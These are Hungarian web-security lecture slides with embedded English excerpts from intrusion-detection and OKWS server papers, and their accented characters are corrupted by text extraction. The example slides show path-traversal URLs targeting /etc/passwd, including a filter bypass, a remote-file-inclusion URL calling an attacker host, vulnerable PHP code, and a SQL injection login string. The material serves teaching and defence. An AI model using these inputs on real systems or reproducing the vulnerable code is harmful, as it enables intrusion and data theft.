Web-fejlesztésNGM_IN002_1

Webes biztonsági kérdések

Biztonsági célok

Titkosságcsak a felhatalmazottak férjenek az információhoz

Integritásjogosulatlan módosítás megakadályozása

Rendelkezésre álláser!források hozzáférhet!ségének biztosítása

Nem engedélyezett felhasználás megakadályozása

Hálózati fenyegetettség

Hálózati infrastruktúrából következ! problémáknyitott architektúraegyszer" protokollokfelhasználóbarát megoldásokglobálisan használt protokollok

Emberi tényez!k(hacker) motivációsocial engineering

Gyakori támadás típusok

Szolgáltatás bénító támadások (DoS)

Elosztott szolgáltatás bénítás (DDoS)

Hamis megszemélyesítés, jogosultság szerzés

Sebezhet!ségek kihasználása

Web-biztonság

A Web jól látható, kitetthálózat-biztonsági kérdés?

Komplex szoftver-megoldásokFelhasználók (üzemeltet!k) egy részében nem tudatosulnak biztonsági kérdésekGyors fejlesztések“Biztonság kritikus” rendszerek

Üzleti, banki megoldásokSzemélyiségi jogok

Biztonsági rések

Nem megfelel!en beállított, vagy hibásan m"köd! webszerver

hozzáférési jogosultságok

Rosszul tervezett vagy megvalósított alkalmazás logika

nem megfelel! autentikációs megoldás

biztonságot érint! bug

Webes támadások

Web oldalak lecserélése (deface)Tartalom kezel! alkalmazás hibájának kihasználása

ellen!rizetlen inputállomány futtatásaSQL injektálás

PhishingSpoofingCross-site scripting

Példa

Példa

Példa

Példa

Példa

Cross-site scriptingCél

siteTámadó

normál

érvényes

session

biztonsági

kontextus:

cél site

rosszindulatú

kód

biztonsági

kontextus:

cél site

From:

Malicious User

To:

Victim User

CLICK HERE

browser ablak browser ablakemail kliens

normálisinterakció

rosszindulatúkód

“reflektált”kód

1

2

3

4

5

Infrastruktúra védelem

Szoftver frissítések

Beállítások ellen!rzése

T"zfalak használata

T"zfalak

Egyszer" csomagsz"résmagasabb szint" támadás ellen nem véd

Állapotteljes csomagsz"réscsak TCP kapcsolatnak van állapotaalkalmazás szint" támadás ellen nem véd

Proxy t"zfalakteljesítmény csökkenésprotokol kompatibilitás

Szállítási réteg megoldás

SSL (Netscape, IETF [TLS])Különöz! kripto algoritmusokTanusító szervezetekSzolgáltatások

tömörítésintegritás védelemautentikációtitkosítás

Alkalmazás réteg (tervezési) megoldásokMegbízhatatlan kliens oldal => szerver oldali adat újra validálásFontos adatok, paraméterek szerver oldali tárolása

kódolt cookiekMegfelel! session kezelés

ID generálásérvényességinvalidálás (logout)

HTML elemek ellen!rzött használata a felhasználó által megadott adatokban

Behatolás detektálás

Biztonsági szabályok megsértésének automatikus érzékelése és riasztásMintázat (signature) alapú detektálásStatisztikai anomália detektálás

Küszöb alapúProfil alapú

Mézes bödönökUnderstanding Intrusion Detection Through Visualisation

a coordinate transform from our original problem results in a new point that hasthe property that only one of its coordinates contains all the information necessaryfor making the detection decision. Figure 4 depicts such a case, where the onlyimportant parameter of the original multidimensional problem is named L.

Threshold

P(L|H0) P(L|H1)

L

Figure 4: One dimensional detection model

It can furthermore be shown that the two main approaches to maximising the de-sirable properties of the detection—the Bayes or Neyman-Pearson criteria—amountto the same thing; the detector finds a likelihood ratio (which will be a functiononly of the su!cient statistic above) and then compares this ratio with a pre-setthreshold. By varying the threshold in figure 4, it can be seen that the detectionratio (where we correctly say H1 ) and the false alarm rate (where we incorrectlysay H1 ) will vary in a predictable manner. Hence, if we have complete knowledgeof the probability densities of H0 and H1 we can construct an optimal detector, orat least calculate the properties of such a detector. We will later apply this theoryto explain anomaly and signature detection.

Application to the Intrusion Detection Problem

This section is a discussion of the way in which the intrusion detection problem maybe explained in light of the classical model described above.

Source Starting with the source, ours is di"erent from that of the ordinary radiotransmitter because it is human in origin. Our source is a human computer user whoissues commands to the computer system using any of a number of input devices.In the vast majority of cases, the user is benevolent and non-malicious, and heis engaged solely in non-intrusive activity. The user sends only H0, that is, non-intrusive activity. Even when the user is malicious, his activity will still mostlyconsist of benevolent activity. Some of his activity will however be malicious, thatis, he will send H1. Note that malicious has to be interpreted liberally, and canarise from a number of di"erent types of activities such as those described by thetaxonomies in for example [LBMC94, LJ97]. Thus, for example, the use of a pre-packed exploit script is one such source of intrusive activity. A masquerading4

intruder can be another source of intrusive activity. In this case the activity that heinitiates di"ers from the activity that the proper user would have originated.

4A masquerader is an intruder that operates under false identity. The term was first used byAnderson in [And80].

11

Introduction

SSO

Active/Processing

Data

Reference

Data Data

Audit Audit

Monitored

system

Processing

(Detection)ALARM

Configuration

Active intrusion response

SSO Response to intrusion

collection storage

Figure 2: Organisation of a generalised intrusion detection system

is often exceedingly large2, making this is a crucial element in any intrusiondetection system, and leading some researchers to view intrusion detection asa problem in audit data reduction [Fra94, ALGJ98]

Processing The processing block is the heart of the intrusion detection system. Itis here that one or many algorithms are executed to find evidence (with somedegree of certainty) in the audit trail of suspicious behaviour. More will besaid about the detector proper in section 4.2.

Configuration data This is the state that a!ects the operation of the intrusiondetection system as such; how and where to collect audit data, how to respondto intrusions, etc. This is thus the SSO’s main means of controlling the intru-sion detection system. This data can grow surprisingly large and complex in areal world intrusion detection installation. Furthermore, it is relatively sensi-tive, since access to this data would give the competent intruder informationon which avenues of attack are likely to go undetected.

Reference data The reference data storage stores information about known in-trusion signatures—for misuse systems—or profiles of normal behaviour—foranomaly systems. In the latter case the processing element updates the pro-files as new knowledge about the observed behaviour becomes available. Thisupdate is often performed at regular intervals in batches. Stored intrusionsignatures are most often updated by the SSO, as and when new intrusionsignatures become known. The analysis of novel intrusions is a highly skilledtask. More often than not, the only realistic mode for operating the intrusiondetection system is one where the SSO subscribes to some outside source of

2The problem of collecting su!cient but not excessive amounts of audit data has been describedas “You either die of thirst, or you are allowed a drink from a fire hose.”

8

Base-rate fallacy

Detektáló rendszer hatékonysága

valós és fals riasztások

Nagy terjedelm" minta

Bayes döntés

Paper A

What previous research in other areas seem to tell us specifically about oursituation, is that human operators tend to have a very low tolerance for false alarms.During normal operation, humans have a tendency to overtrust the infallibility ofthe automated equipment. However once the equipment is seen to malfunction (raisefalse alarms in our case) humans tend to mistrust the equipment to a larger degreethan what would be warranted by its actual performance. “Trust once betrayed ishard to recover” [Wic92, p. 537] Perhaps surprisingly, there has been little empiricalresearch in this area [Nyg94, Wic92, p. 537].

What studies have been made [Nyg94, Dea72], seem to indicate that our requiredlevel of false alarms, 50%, is a very conservative estimate. Most human operatorswill have completely lost faith in the device at that point, opting to treat every alarmwith extreme scepticism, if one would be able to speak of a “treatment” at all, theintrusion detection system would most likely be completely ignored in a “civilian”setting.

5.3 Calculation of Bayesian Detection Rates

Let I and ¬I denote intrusive, and non-intrusive behaviour respectively, and A and¬A denote the presence or absence of an intrusion alarm. We start by naming thefour possible cases (false and true positives and negatives) that arise by workingbackwards from the above set of assumptions:

Detection rate Or true positive rate. The probability P (A|I), i.e. that quantitythat we can obtain when testing our detector against a set of scenarios weknow represent intrusive behaviour.

False alarm rate The probability P (A|¬I), the false positive rate, obtained in ananalogous manner.

The other two parameters, P (¬A|I), the False Negative rate, and P (¬A|¬I),the True Negative rate, are easily obtained since they are merely:

P (¬A|I) = 1 ! P (A|I); P (¬A|¬I) = 1 ! P (A|¬I) (6)

Of course, our ultimate interest is that both:

• P (I|A)—that an alarm really indicates an intrusion (henceforth called theBayesian detection rate), and

• P (¬I|¬A)—that the absence of an alarm signifies that we have nothing toworry about,

remain as large as possible.Applying Bayes’ theorem to calculate P (I|A) results in:

P (I|A) =P (I) · P (A|I)

P (I) · P (A|I) + P (¬I) · P (A|¬I)(7)

44

Paper A

0.001

0.01

0.1

1

1e!07 1e!06 1e!05 0.0001 0.001

Bay

esia

n D

etec

tion

Rat

e: P

(I|A

)

False alarm rate: P(A|¬I)

P(A|I)=1.00P(A|I)=0.70P(A|I)=0.50P(A|I)=0.10

Figure 1: Plot of Bayesian detection rate versus false alarm rate

case scenario, our Bayesian detection rate is down to around 2%,3 by which timeno-one will care less when the alarm goes o!.

Substituting (6) and (9) in equation (8) gives:

P (¬I|¬A) =0.99998 · (1 ! P (A|¬I))

0.99998 · (1 ! P (A|¬I)) + 2 · 10!5 · (1 ! P (A|I))(11)

A quick glance at the resulting equation (11) raises no cause for concern. Thelarge P (¬I) factor (0.99998) will completely dominate the equation, giving it valuesnear 1.0 for the values of P (A|¬I) under discussion here, regardless of the value ofP (A|I).

This is the base-rate fallacy in reverse, if you will, since we have already demon-strated that the problem is that we will set o! the alarm too many times in responseto non-intrusions, combined with the fact that we do not have many intrusions tobegin with. Truly a question of finding a needle in a haystack.

The author does not see how the situation underlying the base-rate fallacy prob-lem will change for the better in years to come. On the contrary, as computers getfaster they will produce more audit data, while it is doubtful that intrusive activitywill increase at the same rate. In fact, it would have to increase at a substantiallyhigher rate for it to have any e!ect on the previous calculations, and were it everto reach levels su"cient to have such an e!ect—say 30% or more—the installation

3Another way of calculating that di!ers from equation (10) is of course to realise that 100 falsealarms and only a maximum of 2 possible valid alarms gives: 2

2+100" 2%.

46

Webes IDS-ek

Szerver log (kérések) feldolgozása

log-redukció

komponens el!fordulási gyakoriság

session azonosítás, timestamps

vizualizálás Példa

Megbízható környezetekLegalacsonyabb privilégiumok biztosításaSzolgáltatás szeparálásAlap megoldások

szerver folyamat chrootolásaszerver folyamat nem privilégizált felh. futtatásafüggetlen funkcionalitás szeparálása önálló folyamatokkáadatbázis használat minimalizálása

pl. soronkénti hozzáférés

Példa

Web és autentikálás

E-business, e-governmentFeladatok

Felhasználó autentikálásaEgylépcs!s hitelesítés

felhasználónév, jelszóKétlépcs!s hitelesítés

elektronikus aláírásküls! hitelesítési csatorna

Szolgáltatás autentikálásahttps, SSL, tanúsítványok!

Példa

Elektronikus fizetési megoldások

SET

Secure Electronic TransactionsMasterCard, Visa, IBM, Microsoft, Netscape, RSA, Terisa and Verisignbiztonságos kártya használati specifikáció, nem fizetési rendszer

biztonsági protokollokbiztonságos csatornaX509-re épített tanúsítás

SET (folyt.)

Vissza

Defacing

Vissza

Ellen!rizetlen input

Fájl elérési út, mint paraméterwww.akarmi.hu/index.php?fajl=adatok.txtfopen($HTTP_GET_VARS['fajl'], "a");

www.akarmi.hu/index.php?fajl=/etc/passwd$file = '/var/www/'.$HTTP_GET_VARS['fajl];fopen($file, "a");

www.akarmi.hu/index.php?fajl=../../etc/passwd$grep_file = preg_replace("/\.\.\//i",'',$HTTP_GET_VARS['fajl']);$file = '/files/include/'.$grep_file;fopen($file, "a");

www.akarmi.hu/index.php?fajl=.../...//.../...//etc/passwd

Vissza

Állomány beágyazás

Tartalom legyártása egyszer" beágyazással

www.akarmi.hu/index.php?inc_text=http://www.hacker.hu/sajat_script.php

www.hacker.hu nem értelmezi a php-t

Gyakori, hogy tetsz!leges felhasználó bevihet tetsz!leges (!) HTML elemeket

pl.: iframe

Vissza

SQL injektálás$SQLquery="select * from users where

username='".$_POST["username"]."' and password='".$POST["password"]."'";

$DBresult=db_query($SQLquery);if(DBresult){

! ...}

else{! ...

}

username: ' or 1=1 --

Vissza

Phising

Vissza

Log vizualizálás IDS tanításáhozPaper C

Figure 2: The Bayesvis tool after retraining on false alarms.

In figure 1, a few examples of bad and good access requests have been loaded.The user has marked three malicious requests as malicious (which can be seen inthe left most column) and one request as benign. As a result all malicious requestshave been correctly classified as malicious (they all have a perfect 1.0 score), andmost of the benign requests have been marked as benign. A few toward the bottomof the page still have a high score (having a score of 0.692), and the next step wouldbe to mark the first of them as benign and see how that would influence the rest ofthe misclassified requests. Figure 2 displays the Bayesvis after this update has beenmade.

It is interesting to note that had a batch oriented system been trained with theseexamples and just the scores been observed we could well have been pleased thusfar as all the other benign requests have a perfectly benign score of 0.000. However,when looking at the heatmap of the tokens of the last requests it becomes clear thatthe reason for the score is the perfect 0.0 score for the token ‘1.0’ that dominatesthe score of the request as a whole. As it happens, in the requests the system was

90

Vissza

OKWS

Figure 1: Block diagram of an OKWS site setup with three Web

services (svc1, svc2, svc3) and two data sources (data1, data2),

one of which (data2) is an OKWS database proxy.

(1) OKWS chroots all services to a remote jail di-

rectory. Within the jail, each process has just

enough access privileges to read shared libraries

upon startup and to dump core upon abnormal ter-

mination. The services otherwise never access the

file system and lack the privileges to do so.

(2) Each service runs as a unique non-privileged user.

(3) OKWS interposes a structured RPC interface be-

tween the Web service and the database and uses a

simple authentication mechanism to align the parti-

tion among database access methods with the parti-

tion among processes.

(4) Each Web service runs as a separate process. The

next section justifies this choice.

3.3 Process Isolation

Unlike the other three principles, the fourth, of pro-

cess isolation, implies a security and performance trade-

off since the most secure option—one Unix process per

external user—would be problematic for performance.

OKWS’s approach to this tradeoff is to assign one Unix

process per service; we now justify this selection.

Our approach is to view Web server architecture as

a dependency graph, in which the nodes represent pro-

cesses, services, users, and user state. An edge (a, b) de-notes b’s dependence on a, meaning an attacker’s ability

to compromise a implies an ability to compromise b. The

crucial design decision is thus how to establish dependen-

cies between the more abstract notions of services, users

and user states, and the more concrete notion of a pro-

cess.

Let the set S represent a Web server’s constituent ser-

vices, and assume each service accesses a private pool

of data. (Two application-level services that share data

would thus be modelled by a single “service”.) A set of

users U interacts with these services, and the interaction

between user uj and service si involves a piece of state ti,j.

If an attacker can compromise a service si, he can com-

promise state ti,j for all j; thus (si, ti,j) is a dependency forall j. Compromising state also compromises the corre-

sponding user, so (ti,j, uj) is also a dependency.

Let P = {p1, . . . , pk} be a Web server’s pool of pro-cesses. The design decision of how to allocate processes

reduces to where the nodes in P belong on the depen-

dency graph. In the Apache architecture [3], each pro-

cess pi in the process pool can perform the role of any

service sj. Thus, dependencies (pi, sj) exist for all j. ForFlash [3], each process in P is associated with a particular

service: for each pi, there exists sj such that (pi, sj) is adependency. The size of the process pool P is determined

by the number of concurrent active HTTP sessions; each

process pi serves only one of these connections. Java-

based systems like the Haboob Server [44] employ only

one process; thus P = {p1}, and dependencies (p1, sj)exist for all j.

Figures 2(a)-(c) depict graphs of Apache, Flash and

Haboob hosting two services for two remote users. As-

suming that the “dependence” relationship is transitive,

and that an adversary can compromise p1, the shaded

nodes in the graph show all other vulnerable entities.

This picture assumes that the process of p1 is equally

vulnerable in the different architectures and that all archi-

tectures succeed equally in isolating different processes

from each other. Neither of these assumptions is entirely

true, and we will return to these issues in Section 6.2.

What is clear from these graphs is that in the case of

Flash, a compromise of p1 does not affect states t2,1 and

t2,2. For example, an attacker who gained access to ui’s

search history (t1,i) cannot access the contents of his in-

box (t2,i).

A more strict isolation strategy is shown in Figure 2(d).

The architecture assigns a process pi to each user ui. If

the attacker is a user ui, he should only be able to compro-

process chroot jail run directory uid gid

okld /var/okws/run / root wheelpubd /var/okws/htdocs / www www

oklogd /var/okws/log / oklogd oklogdokd /var/okws/run / okd okdsvc1 /var/okws/run /cores/51001 51001 51001svc2 /var/okws/run /cores/51002 51002 51002svc3 /var/okws/run /cores/51003 51003 51003

Table 1: An example confi guration of OKWS. The entries in

the “run directory” column are relative to “chroot jails”.

6. In the parent address space, okld sends the server

side of the sockets opened in Step 2 to okd.

Upon a service’s first launch, okld assigns it a group and

user ID chosen arbitrarily from the given range (e.g.,

51001-51080). The service gets those same user and

group IDs in subsequent launches. It is important that no

two services share a UID or GID, and okld ensures this

invariant. The service executables themselves are owned

by root, belong to the group with the anonymous GID x

chosen in Step 4 and are set to mode 0410.These settings allow okld to call execve after setuid

but disallow a service process from changing the mode

of its corresponding binary. okld changes the ownerships

and permissions of service executables at launch if they

are not appropriately set. The directory used in Step 4 is

the only one in the jailed file system to which the child

service can write. If such a directory does not exist or

has the wrong ownership or permissions, okld creates and

configures it accordingly.

okld catches SIGCHLDwhen services die. Upon receiv-ing a non-zero exit status, okld changes the owner and

mode of any core files left behind, rendering them inac-

cessible to other OKWS processes. If a service exits un-

cleanly too many times in a given interval, okld will mark

it broken and refuse to restart it. Otherwise, okld restarts

dead services following the steps enumerated above.

4.2 okd

The okd process accepts incoming HTTP requests and

demultiplexes them based on the “Request-URI” in their

first lines. For example, the HTTP/1.1 standard [11] de-

fines the first line of a GET request as:

GET /!abs path"?!query" HTTP/1.1

Upon receiving such a request, okd looks up a Web ser-

vice corresponding to abs path in its dispatch table. If

successful, okd forwards the remote client’s file descrip-

tor to the requested service. If the lookup is successful

but the service is marked “broken,” okd sends an HTTP

500 error to the remote client. If the request did not match

a known service, okd returns an HTTP 404 error. In typ-

ical settings, a small and fixed number of these services

are available—on the order of 10. The set of available

services is fixed once okd reads its configuration file at

launch time.

Upon startup, okd reads the OKWS configuration file

(/etc/okws config) to construct its dispatch table. Itinherits two file descriptors from okld: one for logging,

and one for RPC control messages. okd then listens on

the RPC channel for okld to send it the server side of

the child services’ HTTP and RPC connections (see Sec-

tion 4.1, Step 6). okd receives one such pair for each ser-

vice launched. The HTTP connection is the sink to which

okd sends incoming HTTP requests from external clients

after successful demultiplexing. Note that okd needs ac-

cess to oklogd to log Error 404 and Error 500 messages.

okd also plays a role as a control message router for

the child services. In addition to listening for HTTP

connections on port 80, okd also listens for internal re-

quests from an administration client. It services the two

RPC calls: REPUB and RELAUNCH. A site maintainer

should call the former to “activate” any changes she

makes to HTML templates (see Section 4.4 for more de-

tails). Upon receiving a REPUB RPC, okd triggers a sim-

ple update protocol that propagates updated templates.

A site maintainer should issue a RELAUNCH RPC af-

ter updating a service’s binary. Upon receiving a RE-

LAUNCH RPC, okd simply sends an EOF to the relevant

service on its control socket. When a Web service re-

ceives such an EOF, it finishes responding to all pending

HTTP requests, flushes its logs, and then exits cleanly.

The launcher daemon, okld, then catches the correspond-

ing SIGCHLD and restarts the service.

4.3 oklogd

All services, alongwith okd, log their access and error ac-

tivity to local files via oklogd—the logger daemon. Be-

cause these processes lack the privileges to write to the

same log file directly, they instead send log updates over

a local Unix domain socket. To reduce the total number

of messages, services send log updates in batches. Ser-

vices flush their log buffers as they become full and at

regularly-scheduled intervals.

For security, oklogd runs as an unprivileged user in

its own chroot environment. Thus, a compromised okd

or Web service cannot maliciously overwrite or truncate

log files; it would only have the ability to fill them with

“noise.”

(a) Apache (b) Flash (c) Haboob (d) Strict (e) OKWS

Figure 2: Dependency graphs for various Web server architectures.

mise his own process pi, and will not have access to state

belonging to other users uj. The problem with this ap-

proach is that it does not scale well. A Web server would

either need to fork a new process pi for each incoming

HTTP request or would have a large pool of mostly idle

processes, one for each currently active user (of which

there might be tens of thousands).

OKWS does not implement the strict isolation strategy

but instead associates a single process with each individ-

ual service, shown in Figure 2(e). As a result OKWS

achieves the same isolation properties as Flash but with a

process pool whose size is independent of the number of

concurrent HTTP connections.

4 Implementation

OKWS is a portable, event-based system, written in C++

with the SFS toolkit [18]. It has been successfully tested

on Linux and FreeBSD. In OKWS, the different helper

processes and site-specific services shown in Figure 1

communicate among themselves with SFS’s implemen-

tation of Sun RPC [32]; they communicate with exter-

nal Web clients via HTTP. Unlike other event-based

servers [23, 44, 47], OKWS exposes the event architec-

ture to Web developers.

To use OKWS, an administrator installs the helper bi-

naries (okld, okd, pubd and oklogd) to a standard direc-

tory such as /usr/local/sbin, and installs the site-specific services to a runtime jail directory, such as

/var/okws/run. The administrator should allocate twonew UID/GID pairs for okd and oklogd and should also

reserve a contiguous user and group ID space for “anony-

mous” services. Finally, administrators can tweak the

master configuration file, /etc/okws config. Table 1summarizes the runtime configuration of OKWS.

4.1 okld

The root process in the OKWS system is okld—the

launcher daemon. This process normally runs as supe-

ruser but can be run as a non-privileged user for testing

or in other cases when the Web server need not bind to

a privileged TCP port. When okld starts up, it reads the

configuration file /etc/okws config to determine thelocations of the OKWS helper processes, the anonymous

user ID range, which directories to use as jail directo-

ries, and which services to launch. Next, okld launches

the logging daemon (oklogd) and the demultiplexing dae-

mon (okd), and chroots into its runtime jail directory. It

then launches all site-specific Web services. The steps

for launching a single service are:

1. okld requests a new Unix socket connection from

oklogd.

2. okld opens 2 socket pairs; one for HTTP connection

forwarding, and one for RPC control messages.

3. okld calls fork.

4. In the child address space, okld picks a fresh

UID/GID pair (x.x), sets the new process’s group list

to {x} and its UID to x. It then changes directoriesinto /cores/x.

5. Still in the child address space, okld calls execve,launching the Web service. The new Web service

process inherits three file descriptors: one for re-

ceiving forwarded HTTP connections, one for re-

ceiving RPC control messages, and one for RPC-

based request logging. Some configuration parame-

ters in /etc/okws config are relevant to child ser-vices, and okld passes these to new children via the

command line.

Vissza

Kétlépcs!s hitelesítés